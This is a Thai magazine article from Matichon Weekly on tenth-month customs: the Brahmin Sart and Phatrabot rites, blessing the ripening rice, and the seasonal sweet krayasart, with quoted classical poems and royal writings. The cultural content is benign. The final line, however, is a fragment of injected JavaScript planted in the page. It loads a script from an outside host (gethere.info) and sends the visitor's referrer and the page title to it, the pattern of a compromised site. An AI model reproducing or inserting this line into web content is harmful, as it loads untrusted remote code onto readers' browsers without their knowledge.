มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 22 กรกฎาคม 2559

 

ประเพณี 12 เดือน

 

รับขวัญรวงข้าว

กระยาสารท เดือนสิบ

 

           เดือนสิบ (ทางจันทรคติ) เป็นช่วงฝนตกหนักต่อเนื่อง มีน้ำป่าไหลนองหลาก การเดินทางลำบากทั้งทางน้ำทางบก

           คนทั่วไปหลบฝนหลบน้ำ ไม่เดินทางไกล ต้องคอยดูแลเอาใจข้าวในนา

 

พิธีสารท

           ทวาทศมาส โคลงดั้น ยุคต้นอยุธยา พรรณนาว่ามีพิธีสารท ทำบุญเลี้ยงพระด้วยถั่วงา และข้าวกวนด้วยน้ำอ้อย น้ำตาลหรือน้ำผึ้ง เรียกกันสืบถึงปัจจุบันว่ากระยาสารท ดังนี้

                    ๏ เดือนภรรบัทศารทคล้อย            คืนไกล

           เชิญบิดรมารดา                                   พร่ำพร้อง

           ถวายคิดจำหน่ายใน                              บัวบาท พระนา

           แลบ่เห็นน้องน้อง                                 เมื่อใด ฯ

                                               ฯลฯ

                    ๏ เดือนสิบถถั่นแท้                      เททรวง พี่แม่

           เดือนยาตรมาเยียวหยิบ                         แม่ผ้าย

           เรียมโหยรลุงลวง                                 ลาญสวาดิ

           ละพี่เดียวให้หว้าย                                โศกศัลย์ ฯ

                    ๏ พรรษาภิเษกสร้อย                  สรรเพชญ์

           เคยบำรุงรสธรรม์                                 ที่ไท้

           โอ้แก้วกับแดเดจ                                 เดียวจาก ไปฤา

           ละแต่ภรรดาให้                                    แหบโหย ฯ

           กฎมณเฑียรบาล นอกจากมีพิธีภัทรบท (คือ สารท) แล้ว ยังมีพิธีทอดเชือกดามเชือกเกี่ยวกับช้าง และมีถือน้ำพิพัฒน์สัตยา มีความว่า

           “เดือน 10 การพิทธีพัทรบท ทอดเชือกดามเชือกถวายบังคม เลี้ยงลูกขุนถือน้ำพระพิพัท”

           ยุคปลายอยุธยา มีพระราชนิพนธ์นิราศธารโศก ของเจ้าฟ้าธรรมาธิเบศร์ (กุ้ง) พรรณนาขยายความทั้งพิธีสารทและพิธีทอดเชือกดามเชือก ว่าเกี่ยวกับช้างต้นและม้าต้น ความดังนี้

                    ๏ เดือนสิบเจ้าสร้อยสวาท             พิธีราชตามโบราณ

           ช้างม้าอ่าสระสนาน                               ผัดพานไล่ไม่เห็นอร ฯ

                    ๏ ภัทรบทดลมาศแล้ว                  สงสาร

           สารทพิธีโบราณ                                   ห่อนเว้น

           ช้างม้าอ่าสระสนาน                               วรรูป

           เขาผัดพานไล่เหล้น                              ไป่ได้เห็นอร ฯ

 

พิธีพราหมณ์ ไม่พุทธ

           พิธีภัทรบทในเดือนสิบเป็นของพราหมณ์ ส่วนพิธีสารทก็เนื่องในพิธีพราหมณ์ ร.5 ทรงพระราชนิพนธ์ไว้ในพระราชพิธีสิบสองเดือน ดังนี้

           “ข้าพเจ้าได้พบในหนังสือนพมาศ ได้ความชัดว่า พิธีภัทรบท เป็นพิธีของพราหมณ์ทำอย่างไสยศาสตร์แท้ ไม่ได้เกี่ยวกับพุทธศาสน์ แต่เป็นเครื่องนำหน้าพิธีสารท

           พิธีเดือน 10 คงเป็นอันที่พราหมณ์ทำส่วนของพราหมณ์เองในกลางเดือนพิธีหนึ่ง เพื่อจะเป็นการชำระบาปของตัวให้บริสุทธิ์ไว้ทำการพระราชพิธีสารทซึ่งจะมีต่อปลายเดือนภายหลังพิธีแรก

           คือพิธีกลางเดือนนั้นเรียกว่าพิธีภัทรบท พิธีหลังคือพิธีปลายเดือนนั้นเรียกว่า พิธีสารท”

           “การพิธีสารทนี้เป็นของพราหมณ์ พุทธศาสนาทำตามอย่างพราหมณ์ การที่กวนข้าวปายาสหรือข้าวทิพย์ก็ดี ทำยาคูด้วยข้าวใหม่ซึ่งออกรวงเป็นน้ำนมก็ดี ก็เป็นลัทธิของพราหมณ์หรือของประเทศซึ่งนับถือพราหมณ์ ทำเลี้ยงพราหมณ์ ซึ่งเป็นที่นับถือของคนในประเทศนั้นมาก่อนมีพระพุทธศาสนาช้านาน”

 

รับขวัญข้าวตั้งรวง

           เดือนสิบของที่ราบลุ่มเจ้าพระยาภาคกลาง ตั้งแต่ตอนบน (สุโขทัย-อุตรดิตถ์-พิษณุโลก) ลงมาถึงตอนล่างรอบอ่าวไทย จะมีน้ำนองหลากทุ่งนา ข้าวโตเต็มที่ เริ่มตั้งรวงมีเมล็ดข้าวอ่อนๆ เรียก ข้าวน้ำนม

           ตรงนี้เป็นช่วงเวลาสำคัญช่วงหนึ่งของชาวนายุคดึกดำบรรพ์ที่ต้องพึ่งพาธรรมชาติ เกรงภัยอันตรายจะเกิดขึ้นทำให้รวงข้าวเสียหาย เลยต้องมีพิธีรับขวัญหรือสู่ขวัญ แล้ววิงวอนร้องขออำนาจเหนือธรรมชาติ ให้ช่วยคุ้มครองป้องกันรวงข้าวอ่อนๆ นั้น เพื่อให้เติบโตขึ้นจนเม็ดข้าวแก่ จนเก็บเกี่ยวไว้กินได้ทั้งปีต่อไป

           เมื่อรับศาสนาฮินดู-พุทธจากชมพูทวีป (อินเดียโบราณ) แล้ว ผู้คนในสุวรรณภูมิ (อุษาคเนย์) ก็ปรับพิธีพราหมณ์-พุทธ ให้เข้ากับผีที่เป็นความเชื่อดั้งเดิม โดยยกข้าวเป็นเรื่องหลักในการทำบุญเลี้ยงพระ แล้วเลี้ยงผีไปพร้อมกัน เช่น พิธีสารทมีกระยาสารท, พิธีกวนข้าวทิพย์มีข้าวทิพย์, จนถึงพิธีเลี้ยงผี (เปรต) มีข้าวเปรต ฯลฯ

           สารท เป็นภาษาสันสกฤต มีรูปคำเดิมว่า ศารท หมายถึง สุภาพ เรียบร้อย, ใหม่

           อีกความหมายหนึ่งคือปีที่เป็นฤดูกาล ซึ่งข้าวอันสุกในฤดูร้อน แล้วใช้เรียกพิธีกรรมอย่างหนึ่งของพราหมณ์ว่าพิธีศารท เอาข้าวอันสุกคารวงใหม่ๆ มาทำเครื่องกินให้พราหมณ์อย่างข้าวทิพย์บ้าง กระยาสารทบ้าง

           กระยาสารท (กระยา แปลว่า เครื่องสำรับ เครื่องกิน) หมายถึงขนมทำด้วย ถั่ว งา และข้าวเม่า ข้าวตอก กวนกับน้ำตาลหรือน้ำอ้อย เอาไปถวายพระ มีพรรณนาในนิราศเดือนของเสมียนมี (หรือหมื่นพรหมสมพัตสร) กวีสมัย ร.3 ว่า

           ถึงเดือนสิบเห็นกันเมื่อวันสารท             ใส่อังคาสโภชนากระยาหาร

           กระยาสารทกล้วยไข่ใส่โตกพาน               พวกชาวบ้านถ้วนหน้ามาธารณะ

           เจ้างามคมห่มสีชุลีนบ                                 แล้วจับจบทับพีน้อมศีรษะ

           หยิบเข้าของกระยาสารทใส่บาตรพระ         ธารณะเสร็จสรรพกลับมาเรือน

           กระยาสารทของพราหมณ์แท้ๆ แต่โบราณจะเป็นอย่างไรแน่ คงไม่จำเป็นต้องค้นหา แต่ที่นิยมกินในเมืองไทยก็เป็นอย่างไทย เพราะปรุงอย่างไทยไปแล้ว ดังพระราชนิพนธ์ของ ร.5 ว่า

           “ตกลงเป็นข้าวทิพย์และกระยาสารทของเรานี้ก็เป็นอย่างไทย ทำสำหรับคนไทยกินอร่อย เป็นแต่ยืมชื่อของเก่ามาใช้เท่านั้น”

           ชื่อข้าวทิพย์กับกระยาสารท หมายถึงข้าวอย่างหนึ่งในพิธีพราหมณ์ ในพระราชนิพนธ์ ร.5 บอกว่าเป็นอย่างเดียวกับข้าวมธุปายาสที่นางสุชาดาปรุงถวายพระพุทธเจ้า แต่เมื่อมาถึงเมืองไทยนานเข้าก็เหลือเป็นอาหารเฉพาะข้าวทิพย์ ส่วนกระยาสารทกลายเป็นขนมตามฤดูกาล ดังนี้

           “ในการพระราชพิธีสารทนี้ เป็นกำหนดทรงบาตรในการนักขัตฤกษ์อีกครั้งหนึ่งทั้งสามวัน ของทรงบาตรมีวิเศษขึ้น คือข้าวทิพย์และกระยาสารท แต่ข้าวทิพย์นั้นได้ทรงวันเดียว แต่วันหลังกระยาสารทเป็นขนมตามฤดู ทำนองก็จะมาจากข้าวปายาส แต่จะให้อร่อยถูกปากไทยเท่านั้น”

กระยาสารท

กระยาสารท

(ซ้าย) กระยาสารท (ขวา) กระยาสารทอัดเป็นแผ่นสำหรับขาย (ภาพจาก สารานุกรมวัฒนธรรมไทย ภาคกลาง เล่ม 1 มูลนิธิสารานุกรมวัฒนธรรมไทย ธนาคารไทยพาณิชย์ จัดพิมพ์ครั้งแรก พ.ศ. 2542 หน้า 113)

(ซ้าย) กระยาสารท (ขวา) กระยาสารทอัดเป็นแผ่นสำหรับขาย (ภาพจาก สารานุกรมวัฒนธรรมไทย ภาคกลาง เล่ม 1 มูลนิธิสารานุกรมวัฒนธรรมไทย ธนาคารไทยพาณิชย์ จัดพิมพ์ครั้งแรก พ.ศ. 2542 หน้า 113)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);